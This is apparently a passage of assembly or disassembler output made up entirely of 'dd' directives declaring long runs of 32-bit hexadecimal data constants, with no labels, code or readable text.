		dd 552D8624h, 428C0BA7h, 0D934F9E4h, 70791837h,	0E854013Bh
		dd 9BA153ECh, 0D9C8302Ch, 93D4894Ch, 0C0687008h, 527519E2h
		dd 0E322E846h, 19EA0B00h, 0C20F7588h, 0E9DC0444h, 0A0FFB1B7h
		dd 71E4F468h, 0AD794099h, 0D3023D18h, 2D05178Eh, 0F09C636Fh
		dd 594D560Bh, 7C139CD6h, 0C88C8BA1h, 5709CEDEh,	0DAE4D482h
		dd 0B2D03627h, 0A06C25h, 11799099h, 4828D6F9h, 24EF0E07h
		dd 0AB13D1E4h, 9CD85837h
		dd 60445E25h, 0DCFD4F10h, 0AE77D07h, 0DC2069B2h, 0E31CFE21h
		dd 0D27C1B0Eh, 0C8CA6067h, 22AE1Dh, 91BEAC73h, 0A5DD5E5Dh
		dd 5B3B40C7h, 0F417D0B5h, 35C8E0CBh, 0C0990ECEh, 0B26D1478h
		dd 189D339h, 0F9A25C28h, 0DD56D02Ch, 5170AA62h,	0E4AC6571h
		dd 8D1B61A2h, 0D71D9A8Fh, 66979020h, 5637F83h, 7DDF14C9h
		dd 0BC520F31h, 9CE07BD6h, 17B051C4h, 230558B4h,	0F8C8FF9Dh
		dd 0B14A0073h, 8AD47B35h, 8F091945h, 0A5B92E8Dh, 0E8982834h
		dd 5B0F423Dh, 0A323702Bh, 0BBB6E900h, 24B06DDh,	64E05317h
		dd 70C41A19h, 5C986898h, 70A688BBh, 1B4B1023h, 84D294B4h
		dd 400856BEh, 575A5C42h, 0BF6D0B3Bh, 2296032Eh,	0A8CBA090h
		dd 9C9E196Ch, 61CF96E4h, 7C5D2F5Ch, 6D179DD8h, 0ACC8B0CBh
		dd 0EB4B90C0h, 803458B3h, 0DA5EE180h, 3710EDA6h, 9C763B31h
		dd 0EA4C41E8h, 0F33AE0BBh, 160B43Ah, 0D531996Ch, 0D993D288h
		dd 0D0504829h, 0C0496D12h, 0E4984530h, 539A60DDh, 13B85E41h
		dd 0D2788C10h, 21A3B918h, 25881C18h, 0D0C0CBD3h, 48715C77h
		dd 948460B0h, 0C4209B95h, 23782F57h, 6B013A24h,	2F7F417Dh
		dd 4FC2259h, 0B2355E25h, 3D550C1Fh, 0B1486C19h,	0CBD080BCh
		dd 5BAF9698h, 5C2C006Fh, 0DF9D2BEAh, 0D1478119h, 0C8428BC0h
		dd 0B6FE8485h, 48CF8D4h, 3D140615h, 10F4E803h, 389B6300h
		dd 9C8B0BCBh, 878925C7h, 1441C021h, 6670325h, 0E003B34Ah
		dd 660038E6h, 0D780754h, 99B7E556h, 71A0A900h, 263618ABh
		dd 1DCC6CB7h, 2C4A1207h, 0D40D2D0h, 190760FFh, 2A92167Ah
		dd 0EE3E0E12h, 0AFD87805h, 90003C12h, 7369D478h, 7C18BC2Ah
		dd 6E16DF46h, 0A878849Bh, 8CA0ECC0h, 0F217AC00h, 853DE453h
		dd 0FF2B44B3h, 69002E76h, 11FADB8h, 108F98h, 0A5B14DF6h
		dd 0B564E927h, 0D244F0B8h, 60BE48D5h, 0A827A1C7h, 7C6F5600h
		dd 958AD5FFh, 12626C1Ah, 7302DC46h, 2DA74FFBh, 709C5B56h
		dd 24178C86h, 0F212ADAFh, 2B35F4D1h, 0DC2E26EFh, 7C9CC034h
		dd 0AB2DA38Dh, 0BE540486h, 0E0859D0Bh, 0C810CB34h, 0E54CC0E6h
		dd 2A004DAEh, 0D9FAD5FBh, 90F004FEh, 3A28D3D1h,	372374h
		dd 0E9965321h, 51223FC2h, 49C0231h, 0AFBB1C47h,	0A799CCC0h
		dd 0E8C2C1CCh, 28293CF9h, 80500907h, 60616B33h,	5A99219Ch
		dd 0C0E3883Ch, 235CD6D5h, 66E4E101h, 3CFF0F7Bh,	44FE4C42h
		dd 0DA010084h, 0CAD76A83h, 0D0165FEBh, 8841D92Fh, 0CC205BDBh
		dd 61C1A434h, 0A15290B0h, 2C032FD7h, 0DDE3885Fh, 0E6B2B8E3h
		dd 0E42130h, 0CB0EA126h, 74C25434h, 80D60417h, 20B11C88h
		dd 7A133027h, 0A064EF85h, 13A0A0A6h, 0E600EF45h, 0D5BC4363h
		dd 95AC41FBh, 18ADC25h,	3A1CA3Ch, 8853003Eh, 0BBAD12EFh
		dd 5884C806h, 0D6008CE2h, 2D558236h, 4CEF2F73h,	25048453h
		dd 0F8D5B97Eh, 0A401030h, 0D4834A78h, 0DFB8A80Ch, 0CCA8C0Ah
		dd 0BF81B510h, 2B2FD3D9h, 0FF639C06h, 71C60019h, 0BDA5114Ah
		dd 20036EFh, 0A8C82097h, 4E4D878Bh, 2BC9489h, 0CE7B9AAh
		dd 54C254CAh, 0EDDAE843h, 1378C606h, 0C073B9C5h, 0C3F2958h
		dd 0D943BA12h, 50A7C84Eh, 2084EC28h, 190B8359h,	200C2C3Fh
		dd 308E8B0Ch, 546C0667h, 0A906FF76h, 226173Eh, 2F145738h
		dd 47BC565Ch, 8853852Ah, 86100D60h, 40ABC29h, 3A34D854h
		dd 0DCC4BDA7h, 0A1878108h, 0BB503B3h, 8014DA74h, 10A4088Ch
		dd 0B1883F88h, 0DB0D544Ah, 0D6C0E133h, 445CBEBFh, 34A831B6h
		dd 7B1C6B2Ah, 7481904Bh, 9107D2A3h, 0F82B017Ah,	0E52567C7h
		dd 34CC8475h, 0EEAC6CE9h, 1C20AB5Eh, 599AD67h, 6314A3B1h
		dd 0DE901344h, 0C42B8128h, 0E7E427C5h, 757714D0h, 0B10BE4B9h
		dd 986129FFh, 83B51005h, 168F8B4h, 861EF684h, 4298194Ah
		dd 45152E8h, 8218A079h,	2907857Eh, 0C1591291h, 3821D436h
		dd 6300B664h, 0AB49412Bh, 810BDD79h, 4AD4F6E7h,	7914596Ch
		dd 176818E0h, 0B9B04BBh, 40A9A9CCh, 0A8BCA872h,	320465Eh
		dd 1E83881h, 0FE44E01Ah, 53B50B03h, 6C21DD50h, 0AC974D57h
		dd 0DEFC68h, 0F23F8C84h, 0D403B5EBh, 0F32CC9Ah,	307C50ABh
		dd 2216CB6Eh, 9CCB9AB5h, 0CB96FC00h, 0B2A1625Eh, 0BBDD35Ch
		dd 430ED73h, 2640CA34h,	5C7FF3BDh, 83240498h, 0B542344Dh
		dd 2C106C5Bh, 3E645727h, 41D75918h, 7C0BFC71h, 12513E1Ah
		dd 58C541F4h, 250D1834h, 30021966h, 0F85CFF9Ch,	0E8F8D880h
		dd 0EA518Eh, 8F8BA1BDh,	5E5D463Fh, 48AF992Dh, 445FB474h
		dd 48CEDD9h, 85607B22h,	0B06CB816h, 57B1A4Dh, 937B51Dh
		dd 5CA9F0h, 6746A6DFh, 2756A0Fh, 0ADC89FE6h, 0F8667A96h
		dd 857D6600h, 9A87DD47h, 0CB4F0477h, 0C5CDD845h, 609C983Ch
		dd 1A197425h, 0C244D1C4h, 0D01A0C58h, 40DA42ACh, 101FCC3Ch
		dd 78832B6Bh, 90D39388h, 6B3F2D25h, 10EF408Ch, 0D9782842h
		dd 14C3027Ch, 0E05707E3h, 66FFEDh, 6286D702h, 3D654E09h
		dd 0F2F82B14h, 52680CE0h, 53C39D9h, 0ED878366h,	0BDD000ACh
		dd 76587DECh, 560B6DE2h, 5B6DFB9h, 0F0F36654h, 852C305Bh
		dd 0B05DE987h, 6F5F0B90h, 28E4CAh, 0EA20A3FCh, 711EB41Fh
		dd 406AE400h, 9A63D516h, 905C5A76h, 0B4D87F4Ch,	4F4CD254h
		dd 0D4E120h, 0BB160596h, 471C7E9Dh, 7F12670Bh, 3A88841Bh
		dd 0DA01340h, 0C107CE0Ch, 0E752C93h, 0C079E3F2h, 9332683h
		dd 836E555h, 4688A051h,	0D418690Ch, 4A04164Dh, 0D574EF53h
		dd 0B8BDCCE4h, 60300A4h, 3CC25AF7h, 0EF6B440Ch,	709453C0h
		dd 607E4D0h, 4CC50543h,	0B20B15F1h, 2538403Fh, 59A27DA6h
		dd 90080F2h, 9C195FBDh,	4470327h, 0F7343B5Eh, 0D1AC830Fh
		dd 33233ECCh, 0DEEF81Ch, 6FFD6027h, 0FBD916D8h,	2FBC4036h
		dd 0B22A1D0Dh, 0C1F8F550h, 0BC40BA45h, 2D53359Ah, 6484F084h
		dd 0FA849040h, 44B2CC41h, 0AB625493h, 554F215Fh, 5B10748Ah
		dd 9BB5ACA4h, 8181008h,	47A1C8E6h, 0C61F4870h, 893508h
		dd 0F881D3Ch, 6CB9BBBFh, 6C600C12h, 0A0828A5Fh,	606CB48h
		dd 9FB9FBCAh, 661EB85Ah, 78284E05h, 6E84E4F1h, 1A9C8748h
		dd 0C619B631h, 0EAC081E4h, 7B092318h, 9C1E8561h, 1B4A036Ch
		dd 96FF417Bh, 0BECC822h, 0C6395868h, 0D0D9109Ah, 0B818AA59h
		dd 0C7D85F0Bh, 24DC5822h, 7454DB78h, 0A0003046h, 943E79D7h
		dd 26172ECEh, 0C0086C64h, 0D7519DDCh, 82F0C54Fh, 0A0A00B40h
		dd 0BBB26D67h, 9742C9DEh, 48E71F7Ah, 17C2008h, 60F1058Dh
		dd 0A8944E3Fh, 4A7C3829h, 66EE3B1Dh, 4996C340h,	0A06DB9D8h
		dd 58417238h, 0E51FBC3Bh, 0CC2EFAB3h, 1F300FC4h, 542C811Fh
		dd 300BA28Bh, 3DE8A6F5h, 4D1008C2h, 547C4075h, 30DDE0h
		dd 0ED78D927h, 0CEFA59DCh, 88D8B20Eh, 52DE408Ah, 0CFE89CCh
		dd 0C9130B4Bh, 6F00E611h, 0D7D61D9Ah, 0FE512FCEh, 7CB44Fh
		dd 72649FE5h, 1812E322h, 2C04C907h, 24A0BBE4h, 586CFD55h
		dd 31BD4880h, 0FDE02AE0h, 2412BE01h, 0B3C3C46Dh, 51E4839h
		dd 4A0A81D9h, 0EC44420Bh, 7412538Ch, 14B260A9h,	0C29BB900h
		dd 0D8CACFCEh, 0A08C8D0Ah, 4792A876h, 0B5C08027h, 3F1E358Ah
		dd 44D44FAh, 0B15AC509h, 5F393C90h, 801B7D3Ch, 7F271358h
		dd 1EEE3FF6h, 0C1DB6EB9h, 0C54ED838h, 0F002212h, 8003B307h
		dd 0BD2875F2h, 616C161Dh, 809C0077h, 0E1C75873h, 633A5300h
		dd 5904D787h, 0CDBD172Eh, 0D26F0B4Ah, 9F1300Fh,	8477B647h
		dd 34B4503Ch, 0E9496F3Fh
		dd 0FE519600h, 0D800AF2Bh, 9F124B10h, 6032E8DDh, 37F8F8CEh
		dd 9602D331h, 1CECE347h, 0B530409Fh, 80F4FC5h, 0C833B80h
		dd 0C8F5A4D9h, 0BEF162h, 2A466A76h, 65BB9E74h, 8F79A371h
		dd 0E520FB00h, 73DF5A6Fh, 0FC20094h, 19F0F317h,	0D6F83413h
		dd 372419C0h, 7E2C862h,	1859EC43h, 0C31D30FBh, 0A30785EAh
		dd 0E693DA8Ch, 7154EF0h, 381167D7h, 0C567C0C0h,	0F800D669h
		dd 83F3B801h, 79B67146h, 7265333Ah, 0B0E0E228h,	0A5005E8Ch
		dd 19187C33h, 5C12D15h,	384235F4h, 0DF61C14Ah, 935BF09Fh
		dd 0CF88ED00h, 43ABEAC0h, 0C9A50738h, 0B019BE04h, 46EBB56Bh
		dd 290713F8h, 0F58B552Ch, 2D2FC4E0h, 0D55D305Eh, 314345D9h
		dd 47347A0Bh, 0F3A50181h, 6C70AD17h, 5EE801EBh,	0D9A52474h
		dd 73A98FF7h, 48C021CEh, 5880A22Fh, 0F4D9C3BBh,	290049EAh
		dd 0B919B9Eh, 0E04AADF8h, 50863F70h, 0FFD0B183h, 39A1E5F6h
		dd 0F81188E2h, 0E6EAC09Ah, 0D4442486h, 84E518EBh, 43994155h
		dd 4F0D12Bh, 241B6A06h,	0A63A1810h, 0F2ED19F1h,	8ED09D06h
		dd 313E71h, 0FB3C6FE3h,	95DD54BCh, 0DCE5C41Dh, 1212718h
		dd 0E03C0C77h, 8C445789h, 2AD9C600h, 447E640Bh,	0FE852AABh
		dd 3935673Ch, 52AC8095h, 0A01FB4B9h, 7BBCDA41h,	1D01F900h
		dd 44CCD717h, 8F90C8D0h, 0F83C6CC0h, 224C46BCh,	74020330h
		dd 0C9BA493Ch, 0FD0079F6h, 92EFF95Bh, 0C5954Fh,	0DFAB29B4h
		dd 0DD1C7D2Fh, 463D8CA8h, 0BF722600h, 0C9EF7868h, 0CF910132h
		dd 0F05190Eh, 3BCDE047h, 301A713Ch, 0E57D7042h,	0B38100F6h
		dd 8AC3ADEFh, 3100A1F1h, 28CE3839h, 1673BDFh, 0D8A4162Dh
		dd 0F8710F7Ah, 6CA58FDEh, 66031C4h, 9F0362ABh, 0F42976D3h
		dd 0C791C815h, 0D099310Eh, 80211C28h, 7A265DD1h, 0FB0377Ch
		dd 50BF9309h, 4BCA8100h, 5A15EBE4h, 77D0AF36h, 1970430Eh
		dd 390E9094h, 0BE060EDh, 12FC85E7h, 3608FF66h, 0F55400F9h
		dd 0AB14B160h, 0C9B85EC8h, 0A930A101h, 8F78DFA3h, 6CDB498Eh
		dd 0C7037627h, 189386C9h, 406B9018h, 382B4D9h, 0DC1DB674h
		dd 39019547h, 92F45288h, 29BEBC89h, 9D7CD900h, 4F7DDC39h
		dd 10F989C9h, 814364h, 44D0A59Eh, 11B6E1EAh, 0B8F28A00h
		dd 0E0BD230Dh, 929A0427h, 90FCC9F3h, 7EC1D00Ch,	4E7A7903h
		dd 307125DEh, 0B021C909h, 18028549h, 37049DA6h,	2D77C0A1h
		dd 0DC20C6F2h, 0F07CD144h, 9C8BF3Eh, 2A76C088h,	901814A8h
		dd 3C98FE21h, 1F00AD3Fh, 48079208h, 2F01490Bh, 0C4F17B40h
		dd 0C980201Bh, 0E6D48BB1h, 2E0794A6h, 35BD4E3Eh, 0B21B746h
		dd 68D483E0h, 0A66A5187h, 28A118CEh, 4761881h, 9CBCFA3Ch
		dd 212D32DCh, 0CC339E04h, 0C901923Fh, 73B28B97h, 0B043DE9Dh
		dd 0CB950B3h, 0E9028C74h, 870B9060h, 123C1984h,	0B663E050h
		dd 22880FA9h, 96C5CE35h, 0DCE40890h, 0B0F8C68Ah, 21F39187h
		dd 0DD07073Eh, 319C5C6h, 0C8B39020h, 5DD00E66h,	1373E48Bh
		dd 639C9150h, 2FF4686h,	0A6E9D596h, 10AA316Ch, 7D48EE7h
		dd 271811A8h, 4DA0EF46h, 0F091D532h, 340021F0h,	92107E15h
		dd 247F4F2h, 6F30B137h,	80A38A1Ah, 0DCE845F8h, 4D010A9Dh
		dd 0C9A44409h, 6C24924Ch, 0E520089h, 2EC7762Ah,	0BE2EF2D2h
		dd 0C009A4C8h, 0B83C2C79h, 8A028CC3h, 8CA6EDD4h, 10B61935h
		dd 0D482E3h, 7CC6B72Fh,	13C78BF7h, 3AE43754h, 9CFF5B2Ah
		dd 0A9DF0490h, 3B107C24h, 0A3CEF6C8h, 0DA7A687Eh, 10D519DFh
		dd 7EC4B3h, 0F2A73B1Fh,	3EE30FC7h, 89460E06h, 0A399ADC0h
		dd 0FC4685D8h, 79346Ah,	0F69D3D63h, 782A37D6h, 362C6277h
		dd 0A90050FEh, 35A6C2D9h, 913C997Fh, 60EC8073h,	8CEF0A8Bh
		dd 3D533F44h, 0E8A660F4h, 887D0834h, 813C6A8Ch,	0F4590084h
		dd 6D383785h, 0D90910ECh, 1B7B069Fh, 0B2DFF03Ch, 0DCE60657h
		dd 88F38570h, 0E8017746h, 8F0B9760h, 4F390B84h,	8AC6600Bh
		dd 2732405h, 0A032F944h, 0C729B4C4h, 26C806h, 32D9FB01h
		dd 182534A2h, 30F1CC02h, 6F117EF7h, 0CF881E7Ah,	7EFFBE86h
		dd 0B2BB2654h, 373A13B4h, 94808884h, 346DCD96h,	597800F3h
		dd 0E0BA194Dh, 0FB1387BCh, 40001FBDh, 2E57E550h, 44D62840h
		dd 4C3158F1h, 88F22850h, 321884F4h, 1911C658h, 0B2D1C08Dh
		dd 94939F7Ch, 91DE5602h, 0C046A3C2h, 0C0261BD8h, 7115E489h
		dd 6300BC2Ch, 90B53A21h, 0FC6EE6F3h, 0E4B8A5ECh, 620603Bh
		dd 18AD0388h, 0C7C62C65h, 0B1B29900h, 4E82D54Ah, 49FE3825h
		dd 0C69F9C00h, 84CE32E3h, 0BC083524h, 811AA13Eh, 0A6EBD488h
		dd 88B418BCh, 0D4028091h, 0DF076E0Ch, 44D467EDh, 907160B4h
		dd 1C8F2C0Fh, 0D2394054h, 0EC00CBFFh, 63BEDBFDh, 62B988DDh
		dd 45DC2128h, 0A4F98C90h, 0E47A460Ch, 8CFE8007h, 0E8D59504h
		dd 0B56264A6h, 0D48DE220h, 8454B352h, 8EC11F85h, 0C00588BCh
		dd 0CEC6899Eh, 9FCD61C0h, 9022950Bh, 1F44664h, 7A767EFAh
		dd 3032DE46h, 7EC2B1C0h, 0B50006C6h, 6BB768AAh,	4EBF91h
		dd 0DBEBC4F2h, 926D8BFBh, 0C63FC713h, 784A7020h, 0B9C50F81h
		dd 44890BA3h, 510BA429h, 0DA1C2CA3h, 244CA100h,	0A1235B5Ah
		dd 19C71C60h, 4DA43978h, 0D8A3C178h, 166C221Ah,	9501AD40h
		dd 164D2B05h, 73152070h, 621981BDh, 1D0F0004h, 0C6DFB7Fh
		dd 288861CFh, 4C0BDA5h,	0C823883Ah, 1ED40138h, 71AD5CBh
		dd 0F753029h, 718E746Eh, 6979DF80h, 3800EA1Dh, 987FF1C8h
		dd 401CC82h, 85BA1F5h, 14A480DFh, 0A913A416h, 0B43F447Dh
		dd 1B003E23h, 0C06E0648h, 99394010h, 0C8C8A329h, 34098120h
		dd 8C7193Ch, 7508ACECh,	41442E39h, 0E04E9F48h, 0C301C455h
		dd 0A6E4BCD7h, 0F8CC3533h, 0C0600C30h, 3A612C0Eh, 30CC5122h
		dd 0CFB18B19h, 2D00EE48h, 0C2684A25h, 585E15Ah,	709A4DC1h
		dd 23B82F9Bh, 9D9000CAh, 773B3ACCh, 0AC5461Fh, 2CE0B954h
		dd 4108D8F0h, 38CD04F1h, 0CA18880Eh, 4518CE69h,	6030E494h
		dd 170AD6Ch, 587F5937h,	803371D0h, 0F1DD7421h, 4CF787h
		dd 5CDF5AA0h, 5B8A91D9h, 49810500h, 0E807A33Ch,	2A50B86Ch
		dd 0B0B31Bh, 0D7723EC2h, 32A947C5h, 2C0010F0h, 5117C9BDh
		dd 94707EE4h, 480E40B8h, 681EF2FFh, 60EE446Ch, 348CAE15h
		dd 0A4605A9Ah, 106C7EF8h, 0C8DF167Ah, 0C0BF81CEh, 20B9FC7Eh
		dd 0C26EC611h, 588B0719h, 0E3275B90h, 87AE3C49h, 1F4A8E81h
		dd 3113A864h, 439180CDh, 0CAE130D8h, 8661055Ah,	0D20B0ABEh
		dd 0CC44295Ch, 8290AF01h, 580D1EB9h, 2ABDE8D3h,	0AB29C00Fh
		dd 0CE4CCFC1h, 7804D798h, 1B469103h, 0A5BC7CC0h, 7E29DE02h
		dd 44D1BE1Fh, 0E25BA4CEh, 37C82550h, 53F400A0h,	9197DF80h
		dd 9819BD26h, 4B24CC40h, 4EBE58EBh, 656FD300h, 70D6C2ABh
		dd 0F9B39C04h, 8CE4C9A3h, 2CA60293h, 0C389EE04h, 1A6E8C90h
		dd 0D7510167h, 8850B250h, 0D85F00F7h, 4DCBA674h, 3F728E28h
		dd 0F3DCF10Eh, 10B64191h, 3982211Ah, 979D9A09h,	5843946Bh
		dd 306AAC04h, 87102586h, 7800AE21h, 0E54B0675h,	30F28EF9h
		dd 931E616Ch, 2077F33h,	980153A3h, 0A80EDA23h, 52A8AFh
		dd 0C6425C86h, 0D0964129h, 17150900h, 3394BEDh,	0E5500BEh
		dd 6AAA258Ah, 7C000B7Fh, 17AFF396h, 0F9E1D87h, 637D60D6h
		dd 523AFEE0h, 0EF3ABA3Bh, 0AE5B8784h, 0D2107E16h, 0CA30FDh
		dd 326569E3h, 0DE3C1DE1h, 0D17ABD00h, 620D24F7h, 0F4E20035h
		dd 0D64EAB0Bh, 0CD00F302h
		dd 0D1EABCE4h, 0D439C2h, 43D7E2BFh, 34B92A61h, 4AC7F101h
		dd 0EB8A8CACh, 4CCFA5D0h, 0D71C526Ah, 2F1C0086h, 94FF4F5Eh
		dd 3878C400h, 15C9FCBh,	51BE0075h, 0A50D2703h, 19C03D07h
		dd 0F2D9A8Eh, 0AFE400DDh, 0C3EC4F5Bh, 4C9A5438h, 8F6FB200h
		dd 8794C6CDh, 0BF8B00CEh, 0EFABE9B4h, 0D018661Ch, 1818482h
		dd 0C9AE000Dh, 0F4E4CC20h, 13FE89A3h, 0BFE08C54h, 0E0C8543Fh
		dd 0D0ECB221h, 8E680036h, 29F58302h, 0AA00882Dh, 920C0850h
		dd 45314Eh, 0E1E81718h,	3A7A36DAh, 0C6A9F418h, 0C9D5388h
		dd 0CD4F56DEh, 3703A810h, 341D2E61h, 21E49897h,	7A5200A3h
		dd 0E7D6239Dh, 96000B70h, 0B4355F1Ah, 1D56015Bh, 43154DB5h
		dd 0C6A24265h, 63773A0h, 0F5B97707h, 59A0D6BAh,	150A853h
		dd 0B23EA210h, 85AC0C76h, 3A947340h, 0DF80A184h, 5523E0h
		dd 0F16D1685h, 0CA42495Ah, 8A032B79h, 0BF46481Eh, 2909F8C3h
		dd 1CA60060h, 0DB62D569h, 3C0257FFh, 8A15805Dh,	0AC724051h
		dd 67680086h, 9C71E620h, 40FEBA93h, 92B3E203h, 0D00FFC99h
		dd 0FF0746h, 4AE08D08h,	7BAD3738h, 1EBEB800h, 40A8E8A2h
		dd 3DBF1CABh, 0A0540059h, 0E03F4DF1h, 790BFC00h, 0A7DB6DFDh
		dd 0E728C090h, 0A5E5A155h, 3822C003h, 252EB333h, 9140DE88h
		dd 40036A4h, 7488E621h,	3BC1681h, 0B445C142h, 48F0E32Ah
		dd 0A671AE09h, 0B0F7133Ah, 2211A8E9h, 0B340009Ch, 4FA4A5D7h
		dd 900060F3h, 1966E1D4h, 396DCFCCh, 628020E2h, 73F563E3h
		dd 0B030479h, 0F7F6B8D6h, 20580010h, 5E0A7582h,	0B91467A9h
		dd 394873Ch, 5FE3762Eh,	0F1590E9h, 9A4B07B1h, 40A6108Ch
		dd 43678688h, 0EA01C1Dh, 0DC6EFC42h, 28C839Eh, 131BA03Ch
		dd 0ECAB0774h, 80E35144h, 0F591AFC7h, 9ED21200h, 0D48075CBh
		dd 9CEB183Eh, 7D482892h, 80A1053Eh, 0A8D2604Ch,	4FD82Bh
		dd 0B9F8E68Dh, 0B43BA025h, 5501CDF6h, 0CADB682Fh, 22F0C07Dh
		dd 9F440390h, 2E777FE7h, 0F3C7D3D8h, 67DDF524h,	0C4118900h
		dd 0F6CD26h, 0FDAE30B0h, 381FFA8Ah, 7A78BA0Eh, 2CACE0A7h
		dd 3D8F6ECCh, 960F8115h, 600744F8h, 0C91260EAh,	0FE0005BAh
		dd 0CEF7F36Fh, 3C4C2Fh,	652E92A9h, 1395453Eh, 80F9603Bh
		dd 0B6691E3h, 8CFAFBh, 112256D4h, 0E24362EEh, 49C3C131h
		dd 51F83220h, 85A8CFE0h, 0B849B4C3h, 0B6B68F8h,	8F03CB00h
		dd 6A09F7B5h, 2A8F273h,	453A043Ch, 284034D0h, 381D8E2Ch
		dd 61008CB2h, 8A79F6B1h, 93C20E22h, 84A1BBD1h, 0C86FFB68h
		dd 0D57BB280h, 0A8C03900h, 0E9206305h, 244E3AD9h, 0C75A788Fh
		dd 6D40BECEh, 0C9DC8212h, 8A1E8400h, 87D8D619h,	1710004Dh
		dd 0F3707DB3h, 9D00E60Eh, 6CDBA371h, 1A20F1h, 285EB741h
		dd 0A546CB5Dh, 905E518h, 3E93D431h, 5202EA6Fh, 9BF1FA38h
		dd 0D6863840h, 0E756AF12h, 0DA576700h, 0BB78E6h, 71201528h
		dd 7D749803h, 0CC018C00h, 1E1775DEh, 0B8E91214h, 8EFC0059h
		dd 130FEAF7h, 15FB1900h, 9010858Fh, 9AEA77h, 4171D8D1h
		dd 9491CACEh, 1483449h,	0EF69AD40h, 1FD450D5h, 0B8DB09BDh
		dd 8427C12Ch, 971B001Eh, 0BE248A81h, 0D809CECh,	9AB8E8ABh
		dd 4AEC15h, 0AD0F5A6Dh,	51243EC6h, 8296070Fh, 173DC3FEh
		dd 0E502E019h, 4088A0DEh, 0FD040075h, 0B24270F6h, 74006007h
		dd 0AF1F26A5h, 3C5C15h,	0BDA9E1B9h, 0BA6F327h, 0BF544128h
		dd 0F6675D00h, 0FD922498h, 3BA12AFh, 0E3240096h, 8E1280C5h
		dd 54AD1400h, 9D9FD0B2h, 35531E44h, 0ED39C0D1h,	0B51319DCh
		dd 0C93724h, 22E65A00h,	4EEC1Ch, 8389BA7Bh, 72AB2BACh
		dd 7AB0B503h, 7115036h,	0BE3E7DB8h, 0D343CE3Ah,	33D022B8h
		dd 3BF6AB70h, 80F9A83Ah, 770FB6FEh, 3C9ED7CBh, 0E837A49h
		dd 0F75E3359h, 0B6424CD0h, 26000976h, 0F908D9C0h, 7039606h
		dd 0DC9520C3h, 1A12E0DAh, 0A1784EACh, 3604531Fh, 1FFE349Fh
		dd 0AF40F023h, 0C056E259h, 0CCE90142h, 720DB8A0h, 1A2CC821h
		dd 25491200h, 6B8FCEA9h, 5B450E66h, 19400F62h, 0F567DC94h
		dd 6852707h, 7B005D46h,	0F4A016h, 0D5C7C990h, 0C40F35DFh
		dd 57BA2000h, 5F764B14h, 28D3006Ah, 4A599D46h, 0CD0071F4h
		dd 1D42693Bh, 79511ABh,	6F025C51h, 0E7DED0BCh, 0E00071BFh
		dd 0AF52E972h, 0DD7008h, 0C8EC2B4Bh, 74449781h,	9459C900h
		dd 87A0C40Eh, 0F68B00EDh, 8C95E79Eh, 6648E680h,	3AE10085h
		dd 35BD1D6Ah, 0B231EACAh, 0BA210F68h, 0B60CEE7h, 0FC6C2370h
		dd 96780C00h, 0CCC8DA65h, 1461001Fh, 6AAFCB79h,	4B72BAA9h
		dd 1B69D500h, 0ACDD100Ah, 8AF657h, 0FF88C0FBh, 8278E974h
		dd 0DCA08092h, 1A07B564h, 0ABCCBB4h, 831FEA40h,	0D2AB1DD1h
		dd 893E1F34h, 0E42054BDh, 53756D7h, 8A83AC07h, 96405BFFh
		dd 30854979h, 0B1180138h, 0B31854C2h, 77507AB9h, 0AF020382h
		dd 5FF8FF90h, 383CF9A3h, 0E9750A84h, 16904871h,	0BA407220h
		dd 15BB7FB9h, 8C3729E9h, 54C8B100h, 0C21C7E6h, 0AA94410Fh
		dd 0A792806Ch, 31667FE1h, 89903278h, 2213F015h,	0B0F4E800h
		dd 0CA5CF3A3h, 68DF1D08h, 0DC5D80E3h, 0A4F5C8C5h, 64348A00h
		dd 88F03A01h, 0EACA0917h, 0F6804D0Dh, 1CCE0358h, 0D5366200h
		dd 8AED22B5h, 98960059h, 9A3F9792h, 0D7001CE0h,	0AD313C3Dh
		dd 7BBCA9Eh, 3A8CB034h,	50E6273Bh, 0C1DB02B6h, 0F0EE8600h
		dd 0E24AFDDCh, 89BF007Ah, 0CA1BFA9Bh, 66309CD9h, 160F6237h
		dd 0A87500FBh, 828CCE06h, 0CD01FEFAh, 5ECC58F9h, 3C746890h
		dd 5704A767h, 33E4DD40h, 65B50DA5h, 0F819771Bh,	8A02203Eh
		dd 0EABD7447h, 287DE09Bh, 89580001h, 0A7D4FF77h, 52002356h
		dd 0D5C479E2h, 0F027E160h, 306572B3h, 80696470h, 7907E896h
		dd 4B86AC6h, 0C0053D21h, 41038183h, 780085C4h, 664B2F5Fh
		dd 2D124Fh, 45782EEFh, 1C03FD4Ah, 2BCBE901h, 81D2A3DFh
		dd 9867D0h, 0BC51EA90h,	8663B442h, 4C1F0700h, 6709CBABh
		dd 0B23F0768h, 0C0063889h, 2A03BFAAh, 83D8ED00h, 1E64E451h
		dd 7CA4B6h, 0EDD0BB0Dh,	35FB719Eh, 2A955701h, 0D43B1AD7h
		dd 0D184CF0h, 67E34F61h, 0A3840258h, 0A33C4022h, 987E5AACh
		dd 7220397Ch, 0FFB303DFh, 28327D24h, 15872822h,	8457043Dh
		dd 7EFAF200h, 0F314DF34h, 0BBC89D50h, 0E4D78414h, 2C320008h
		dd 93C0C817h, 0C8066068h, 0E088777Fh, 0E56E6703h, 0A4454Ch
		dd 0C4B2CD91h, 85EDEA54h, 94395BFCh, 38E798C1h,	79881h
		dd 34D3287Ah, 0DE74E8F2h, 0B0E13Eh, 95CF1A8Ch, 0A188EA8Fh
		dd 0C2C99Ch, 9824F92Bh,	0B8E09605h, 84065393h, 0C9555Eh
		dd 0B202EFB4h, 7ABA776Ch, 0D17DACA8h, 1B086549h, 0E381B67Eh
		dd 23F8032Dh, 9C201308h, 18E2183Fh, 0DE58B5B7h,	9071529Fh
		dd 0D830041Dh, 0BBBC4978h, 0DD192000h, 0A4907BA2h, 0CA0C00D2h
		dd 0F4975083h, 5E30E666h, 2628995Bh, 484F0095h,	6E0DF963h
		dd 0DB01D522h, 2E4DB8D9h, 8C4514B1h, 0C6B30800h, 1D057F6Ch
		dd 0E4FB5B80h, 68169450h, 0B32DAE03h, 7FC89143h, 990ED7B1h
		dd 0F3BA32h, 0E83D468h,	0C21B1EE9h, 5DF7C6FAh, 9C008959h
		dd 0D6B3AD44h, 826BD2h,	0B9967F2Dh, 3F29266Ch, 68FB6005h
		dd 8000BB5Bh, 8057E930h, 0CE2C72D5h, 28307460h,	4F209498h
		dd 52FD14C4h, 0B0209CE0h, 647B0900h, 6DDEE48Eh,	397E006Bh
		dd 0E8E79555h, 40913440h, 66F10304h, 407B7105h,	786CAFACh
		dd 400076CDh, 6B09DC80h
		dd 1E137F0Bh, 404496E3h, 0FF07F81Eh, 0EA007948h, 5F55CFAh
